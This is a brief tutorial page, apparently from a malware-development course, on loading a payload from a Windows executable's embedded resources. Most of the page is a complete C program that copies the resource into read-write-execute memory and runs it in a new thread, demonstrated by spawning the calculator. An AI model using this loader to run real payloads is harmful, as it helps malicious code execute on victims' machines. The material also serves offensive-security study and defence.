Load Resources
- Author
- Moise Medici
- Updated
- 22 Jan 2026 · Completed
A modified example
The code presented above can be changed to create a new process that executes the payload in the resources instead of writing it to a file.
#include <processthreadsapi.h>#include <windows.h>
#include <stdio.h>#include <winnt.h>
#define RET_SUCCESS 0#define RET_ERROR -1
int main() { HRSRC hRsrc = NULL; HGLOBAL hRes = NULL; HANDLE hFile = NULL; PVOID pData = NULL; SIZE_T resSize = 0; DWORD bytesWritten = 0;
hRsrc = FindResourceW(NULL, L"CALCICO", MAKEINTRESOURCEW(10)); if (hRsrc == NULL) { printf("Cannot locate resource, error: %lu \n", GetLastError()); return RET_ERROR; }
resSize = SizeofResource(NULL, hRsrc); if (resSize == 0) { printf("Cannot get the size of resource, error: %lu \n", GetLastError()); return RET_ERROR; }
hRes = LoadResource(NULL, hRsrc); if (hRes == NULL) { printf("Cannot load resource, error: %lu \n", GetLastError()); return RET_ERROR; }
pData = LockResource(hRes);
PVOID pVirtualAllocAddr = VirtualAlloc(NULL, resSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pVirtualAllocAddr == NULL) { printf("Cannot run virtualAlloc, error : %lu \n", GetLastError()); return RET_ERROR; }
memcpy(pVirtualAllocAddr, pData, resSize); memset(pData, '\0', resSize);
HANDLE hCreateThread = CreateThread(NULL, 0, pVirtualAllocAddr, NULL, 0, NULL);
if (hCreateThread == NULL) { printf("Cannot run CreateThread, error : %lu \n", GetLastError()); return RET_ERROR; } WaitForSingleObject(hCreateThread, INFINITE);
return RET_SUCCESS;}To compile the files, the commands are the same as above.
The code presented here is the same in terms of loading the resource; the only difference is what is done with it. It is not within the scope of this page to explain all the details of the functions used. However, at a high level, memory is allocated in the running process for the resource; the resource is then copied into that memory region and executed in a new thread.
Upon execution, the calculator spawns.